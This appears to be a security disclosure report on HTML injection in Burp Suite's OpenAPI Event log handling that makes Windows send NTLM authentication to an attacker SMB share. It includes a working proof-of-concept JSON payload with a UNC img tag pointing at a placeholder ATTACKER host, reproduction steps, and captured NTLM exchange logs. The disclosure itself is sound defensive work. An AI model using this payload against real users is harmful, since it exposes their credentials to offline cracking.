Burp Suite OpenAPI Event Log HTML injection triggers Windows SMB authentication

How it was found

Summary

Burp Suite 2026.8 build 53343 inserts attacker-controlled text from an OpenAPI parser exception into the Event log HTML without encoding it. After the user invokes Response → Save OpenAPI requests to site map and selects the resulting Event log row, Swing's HTMLEditorKit interprets an injected <img> tag. On Windows, a UNC-backed file: URL causes the Burp process to authenticate to an attacker-controlled SMB endpoint.

I confirmed the full chain in a controlled Windows 11 environment: NTLM Type 1/2/3 exchange, successful SMB session setup, connection to the selected share, and reads of the selected file. This is not automatic when the response is received; it requires the two UI actions described below.

Affected version

• Burp Suite Professional/Community 2026.8 Early Adopter, build 53343.
• Tested artifact: official Windows ARM64 installer burpsuite_windows-arm64_v2026_8.exe.
• Installer SHA-256: cda0916433c696eec59c5650c15bc59fdcc4fe1bc04e744f4612653f7b7ea05f.
• Extracted burpsuite.jar SHA-256: 1c42cdc7f38f2fb3486a15e1c5212763f81e6e4bc6059776025dd2c093cf94e1.
• Bundled runtime used for testing: Microsoft OpenJDK 25.0.4+7-LTS, Windows ARM64.
• Release page: https://portswigger.net/burp/releases/professional-community-2026-8

Proof of concept

Serve the following response with HTTP status 200 and Content-Type: application/json. Replace ATTACKER and SHARE with an SMB endpoint and share under your control.

{
  "openapi": "3.0.0",
  "info": {"title": "t", "version": "1"},
  "servers": [{"url": "http://127.0.0.1:9"}],
  "paths": {
    "/x": {
      "post": {
        "requestBody": {
          "content": {
            "application/json": {
              "schema": {
                "$ref": "#/components/schemas/http://127.0.0.1:1/><img&#32;src=file:////ATTACKER/SHARE/image.gif>"
              }
            }
          }
        },
        "responses": {"200": {"description": "ok"}}
      }
    }
  }
}

The   entity is required. A literal space is truncated at this parser-error location, while Swing decodes   as the whitespace between the img tag name and its src attribute.

{F6561285}

Reproduction steps

1. Start a fresh temporary Burp project on Windows and a controlled SMB listener reachable from that machine.
2. Send a request in Repeater to an endpoint returning the response above.
3. Right-click the Repeater Response editor and select Save OpenAPI requests to site map.
4. Open Dashboard → Event log.
5. Select the new Scanner/Error row for the API-definition parsing failure.
6. Observe the Burp process authenticate to ATTACKER, connect to SHARE, and request image.gif.

Using a fresh project avoids Event log deduplication suppressing an equivalent recent event.

Observed result

The controlled live run produced the following sequence:

Windows -> listener: NTLM Type 1
listener -> Windows: NTLM Type 2 challenge
Windows -> listener: NTLM Type 3, domain=HAKAI, user=burppoc
listener -> Windows: SMB2 Session Setup STATUS_SUCCESS
listener -> Windows: SMB2 Tree Connect STATUS_SUCCESS
Windows -> listener: Create/Read POCSHARE\swing-image.gif

The listener returned the exact seven-byte fixture GIF89a\n. The bytes read from the SMB response had SHA-256 3cf815fc3053dafe38db36ef0977b9d027a43bc1ed0d4c5377aa580378bc57f6, matching the predeclared file. The Type 3 material is omitted from the report.

An independent fresh Windows boot using the same product classes, runtime, synthetic credential, and escaped HTML control produced zero AUTHENTICATE_MESSAGE, TreeConnect, Create, or Read events. Hashcat mode 5600, with the potfile disabled and only the predeclared synthetic password as a candidate, verified that the positive capture was a valid NetNTLMv2 challenge-response for the controlled account.

Root cause

The build-53343 data flow is:

attacker-controlled Repeater response
  -> OpenAPI validation and full parsing
  -> raw ApiDefinitionException.getMessage()
  -> raw Event log detail
  -> Event log HTML StringBuilder
  -> JEditorPane.setText()
  -> Swing ImageView
  -> Windows file/UNC resolution
  -> SMB authentication

The lightweight OpenAPI gate accepts the response as version 3.0.0. Full parsing rejects the crafted $ref and creates this exception detail:

Blocking URL resolution for 'http://127.0.0.1:1/><img&#32;src=file:////ATTACKER/SHARE/image.gif>'.

Zfk4.Ze passes the raw ApiDefinitionException.getMessage() value to the Event log builder. Zg3w.ZD(false) appends that detail directly to an HTML StringBuilder, and Zwlk.setText() renders it as text/html. The custom HTMLEditorKit view factory replaces paragraph handling but delegates image elements to Swing's standard ImageView, which resolves the UNC-backed resource.

Relationship to report #1054382 / CVE-2021-29416

Public report #1054382 documented the same broad Swing HTML/resource-loading class and Windows credential impact. This report is a current mitigation bypass/regression with a distinct source and viewer: a gate-valid OpenAPI response becomes raw ApiDefinitionException detail in the Event log JEditorPane. The path remains reachable in official build 53343.

Historical report: https://hackerone.com/reports/1054382

Preconditions and scope

• The user must invoke Save OpenAPI requests to site map and then select the resulting Event log row.
• The victim must be on Windows, able to reach the SMB endpoint, and have a credential applicable to that target.
• Outbound SMB or NTLM policy may prevent authentication.
• Proxying, crawling, passive scanning, and active scanning are not claimed as trigger paths.
• I do not claim plaintext password disclosure, a reusable NT hash, relay, RCE, or universal impact across every Windows configuration.

All testing used owned systems, a read-only controlled share, and synthetic credentials. No third-party credential, host, project, or customer data was accessed.

Remediation

1. HTML-encode every dynamic Event log value at the final rendering boundary, including &, <, >, quotes, and apostrophes.
2. Disable or replace ImageView and any other external-resource view in the Event log HTMLEditorKit; Event details should never initiate network or file access.
3. Add regression tests covering entity whitespace and http:, file:, and UNC-backed resource URLs.

Impact

An attacker controlling an API response can turn a plausible Burp API-import workflow into outbound SMB authentication from the Windows account running Burp. This exposes a NetNTLMv2 challenge-response to the attacker-controlled listener, where it can be subjected to offline password guessing. The controlled test also demonstrated attacker-directed access to the selected SMB share and file path.

I assess this as Medium because exploitation requires two explicit UI actions, depends on Windows/network credential-release policy, and may be affected by Event log deduplication. No password recovery, reusable NT hash, relay, code execution, or lateral movement is claimed.